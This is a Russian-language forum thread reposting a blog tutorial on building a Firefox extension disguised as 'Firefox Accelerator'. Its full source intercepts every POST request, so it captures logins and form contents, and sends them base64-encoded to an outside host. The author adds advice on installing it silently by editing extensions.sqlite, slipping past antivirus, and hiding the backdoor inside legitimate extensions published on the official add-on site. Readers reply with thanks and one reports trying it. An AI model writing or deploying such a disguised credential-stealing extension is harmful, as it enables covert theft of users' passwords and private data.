Новости из Блогов Пишем простое расширение для Mozilla Firefox

Discussion in 'Мировые новости. Обсуждения.' started by Suicide, 27 Jun 2012.

  1. Suicide

    Suicide Super Moderator
    Staff Member

    Joined:
    24 Apr 2009
    Messages:
    2,482
    Likes Received:
    7,062
    Reputations:
    693
    Пишем простое расширение для Mozilla Firefox


    [​IMG]

    Mozilla Firefox, как и прочие современные браузеры, поддерживает возможность наращивания функционала с помощью расширений. Множество полезных и не очень расширений доступно на официальном и прочих сайтах, причем многие их ставят, не задумываясь о возможных закладках в них. В качестве примера можно вспомнить не более чем годичной давности случай с расширением, которое добавляло возможность кастомизации личной странички в ВКонтакте, но при этом активно себя рекламировало, рассылая сообщения по друзьям, используя браузер установившего.

    Поэтому, а заодно в связи с появившейся свободной минуткой я решил набросать пример простого расширения для Firefox, которое будет перехватывать POST-запросы и отправлять их содержимое на сторонний сайт. Основы процесса подробно описаны, например, здесь и здесь, поэтому часть кода будет приведена без комментариев.

    Так как плагин обладает небольшими функциональными возможностями, то из всех типичных для расширения файлов (о которых вы могли прочесть по ссылкам выше) будут использоваться лишь несколько - это chrome.manifest, install.rdf, browser.xul и файл, который содержит непосредственно код расширения. В итоге у вас должна получиться следующая структура:

    Code:
    :plugin_dir
    │   chrome.manifest
    │   install.rdf
    │
    └───chrome
        └───content
                accelerator.js
                browser.xul
    Начнем с файла chrome.manifest:
    Code:
    content     accelerator    chrome/content/
    content     accelerator    chrome/content/ contentaccessible=yes
    overlay chrome://browser/content/browser.xul chrome://accelerator/content/browser.xul
    Ничего интересного он не содержит, мы как бы указываем путь относительно директории с расширением (плагином), где хранится основной исполняемый файл для него. Флаг contentaccessible задает возможность использования некоторых HTML-элементов вроде img и script из недоверенных источников, подробнее можно прочитать тут. Строка с overlay используется для подгрузки JS-кода расширения в контексте браузера, хотя по большому счету оверлеи необходимы для изменения пользовательского интерфейса (добавления кнопочек, меню и подобной лабуды).
    XUL файл представляет из себя обычный XML-файл, подчиняющийся определенным правилам. Подробнее можно почитать на сайте MDN. В нашем случае browser.xul прост до невозможности:
    Code:
    <?xml version="1.0"?>
    <overlay id="accelerator" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
        <script src="accelerator.js" />
    </overlay>
    Теперь рассмотрим файл install.rdf, который тоже является XML-файлом, описывающим устанавливаемое расширение, информацию об авторе, диапазон совместимых версий браузера, версию плагина и тому подобное:
    Code:
    <?xml version="1.0"?>
    <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
        xmlns:em="http://www.mozilla.org/2004/em-rdf#">
     
        <Description about="urn:mozilla:install-manifest">
            <em:id>[email protected]</em:id>
            <em:name>Firefox Accelerator</em:name>
            <em:version>1.0</em:version>
            <em:type>2</em:type>
            <em:creator>Oh noes LTD</em:creator>
            <em:description></em:description>
            <em:homepageURL>http://www.google.com/</em:homepageURL>
     
            <em:targetApplication>
                <Description>
                    <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
                    <em:minVersion>2.0</em:minVersion>
                    <em:maxVersion>16.0.*</em:maxVersion>
                </Description>
            </em:targetApplication>
        </Description>      
    </RDF>
    Тут использован довольно скудный набор возможных атрибутов (полный), но нам много и не надо. Параметр id в секции Description является обыкновенным GUID, его можно сгенерировать как самому, практически от балды, так и с помощью всяких утилит и сайтов.
    И, наконец, рассмотрим код самого плагина:
    Code:
    // Адрес хоста для отправки отчетов
    var log_host = "kaimi.ru";
    // Путь к скрипту - приемщику
    var log_uri = "/test.php";
    // Максимальный размер POST-данных для отправки
    var log_req_limit = 1024;
     
    var accelerator =
    {
        // Функция для установки обработчика на событие http-on-modify-request
        // Список событий можно посмотреть здесь https://developer.mozilla.org/en/Observer_Notifications
        add_observer : function()
        {
            var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
            observerService.addObserver(this, "http-on-modify-request", false);
        },
        // Функция для снятия обработчика на событие http-on-modify-request
        // Не вызывается, но пусть будет
        remove_observer : function()
        {
            var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
            observerService.removeObserver(this, "http-on-modify-request");
        },
        // Функция, которая вызывается при возникновении интересующего нас события
        observe : function(subject, topic, data)
        {
            var http_channel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);
     
            // Проверяем тип события
            if(topic == "http-on-modify-request")
            {
                // Исключаем из фильтрации URL хоста для приема отчетов
                var uri = subject.URI.spec;
                if(new RegExp('^http://(?:www\.)*' + log_host, 'i').test(uri))
                {
                    // Если не проводить некоторых манипуляций с исходящим запросом, то он перешлется автоматически
                    return;
                }
     
                // Обрабатываем только POST-запросы
                if(http_channel.requestMethod == "POST")
                {
                    // Извлекаем объект, в котором хранится запрос
                    var upload_channel = http_channel.QueryInterface(Components.interfaces.nsIUploadChannel);
                    var upload_channel_stream = upload_channel.uploadStream;
     
                    upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0);
     
                    var stream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
                    stream.setInputStream(upload_channel_stream);
     
                    // Получаем содержимое POST-запроса в виде строки
                    var post_bytes = stream.readByteArray(stream.available());
                    var post_data = String.fromCharCode.apply(null, post_bytes);
     
                    // Отделяем тело запроса от вспомогательных заголовков с размером и типом содержимого
                    var tmp = post_data.split("\r\n\r\n");
                    if(tmp[1] && tmp[1].length <= log_req_limit)
                    {
                        this.send_post_data(uri, tmp[1]);
                    }
     
                    // Устанавливаем смещение в потоке на начало
                    upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0);
                }
            }
        },
        // Вспомогательная функция для отправки POST-запроса на хост
        send_post_data : function(uri, data)
        {
            // Кодируем данные для безопасной передачи
            var enc_data = escape(this.base64_encode(data));
            var enc_uri = escape(this.base64_encode(uri));
            // XMLHttpRequest, вызванный из расширения, не обладает стандартными ограничениями
            // таким образом обратиться можно к любому хосту
            var req = new XMLHttpRequest();
     
            req.open("POST", "http://" + log_host + log_uri, true);
            req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            req.send("uri=" + enc_uri + "&info=" + enc_data);
        },
        // Неведомая фигня, которая была взята из tamper data
        QueryInterface : function(iid)
        {
            if(iid.equals(Components.interfaces.nsISupports) || iid.equals(Components.interfaces.nsIObserver))
            {
                return this;
            }
            throw Components.results.NS_NOINTERFACE;
        },
        // Вспомогательный метод для кодирования данных в Base64
        base64_encode : function(data)
        {
            var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
            var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
            ac = 0,
            enc = "",
            tmp_arr = [];
     
            if(!data)
            {
                return data;
            }
     
            do
            {
                o1 = data.charCodeAt(i++);
                o2 = data.charCodeAt(i++);
                o3 = data.charCodeAt(i++);
     
                bits = o1 << 16 | o2 << 8 | o3;
     
                h1 = bits >> 18 & 0x3f;
                h2 = bits >> 12 & 0x3f;
                h3 = bits >> 6 & 0x3f;
                h4 = bits & 0x3f;
     
     
                tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
            } while (i < data.length);
     
            enc = tmp_arr.join('');
     
            var r = data.length % 3;
     
            return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
        }
    };
     
    // Вызываем метод, который установит обработчик на интересующее нас событие
    accelerator.add_observer();
    Сделать из набора файлов и директорий расширение можно очень просто, достаточно заархивировать содержимое в ZIP и переименовать из .zip в .xpi. Или вот такой незамысловатой командой, находясь в директории с файлами расширения (при условии наличия консольного zip'a):
    Code:
    zip -r extension.xpi ./*
    В чем же цимес подобного расширения? А в том, что оно обладает практически неограниченным доступом к компьютеру пользователя, и если в моем примере ведется примитивный перехват POST-запросов, то теоретически расширение может включать в себя все что угодно, даже нативный код. В то же время антивирусные системы практически не контролируют операции с директорией %APPDATA%, где Firefox хранит пользовательские настройки и расширения, что позволяет в тихую добавить его в браузер (например, отредактировав файл extensions.sqlite) и получить хороший такой, неконтролируемый доступ в сеть.

    [​IMG]
    Топорно? Зато эффективно. Тем более такую закладку можно добавить в действительно полезное расширение или в какое-нибудь существующее, а далее попытаться распространять его через официальный сайт. Простор для творчества очень широк, как и целевая аудитория.

    В общем изучайте, исследуйте, и на вас снизойдет дзен, а ещё вы научитесь танцевать как dx .

    Все файлы одним архивом: скачать


    Среда, 27. Июнь 2012
    Автор: Kaimi
    http://kaimi.ru/2012/06/simple-firefox-extension/
    http://kaimi.ru/



    PS
    1.. Интересно по каким дня dx проводит обучение таким пляскам и во сколько оценивается урок.. хочу научиться..

    2.. Всю утреннюю пробежку по инету преследуют расширения.. дополнения.. лисичка в целом в разных видах и позах (Firefox для Android; расширение под хаброящик; индикаторы ключевой информации на сайтах для Firefox ) и вот..
     
    _________________________
    #1 Suicide, 27 Jun 2012
    Last edited: 27 Jun 2012
  2. \/ITA

    \/ITA Member

    Joined:
    21 Sep 2011
    Messages:
    25
    Likes Received:
    28
    Reputations:
    8
    бомба :D
     
  3. NetAng

    NetAng Member

    Joined:
    29 Dec 2010
    Messages:
    75
    Likes Received:
    12
    Reputations:
    5
    Круто! Как интересовала данная тема :)
     
  4. OSA2000

    OSA2000 New Member

    Joined:
    29 Jun 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Спасибо, интересно, надо попробовать.
     
  5. geek

    geek New Member

    Joined:
    9 Aug 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Зачет....

    Зачет.... Зачетович.
     
  6. Zigert

    Zigert Member

    Joined:
    24 Jun 2009
    Messages:
    50
    Likes Received:
    8
    Reputations:
    0
    спасибо спасибское
     
  7. Kepper_Classic

    Joined:
    10 Mar 2010
    Messages:
    0
    Likes Received:
    36
    Reputations:
    18
    Спасибо, испытал.:D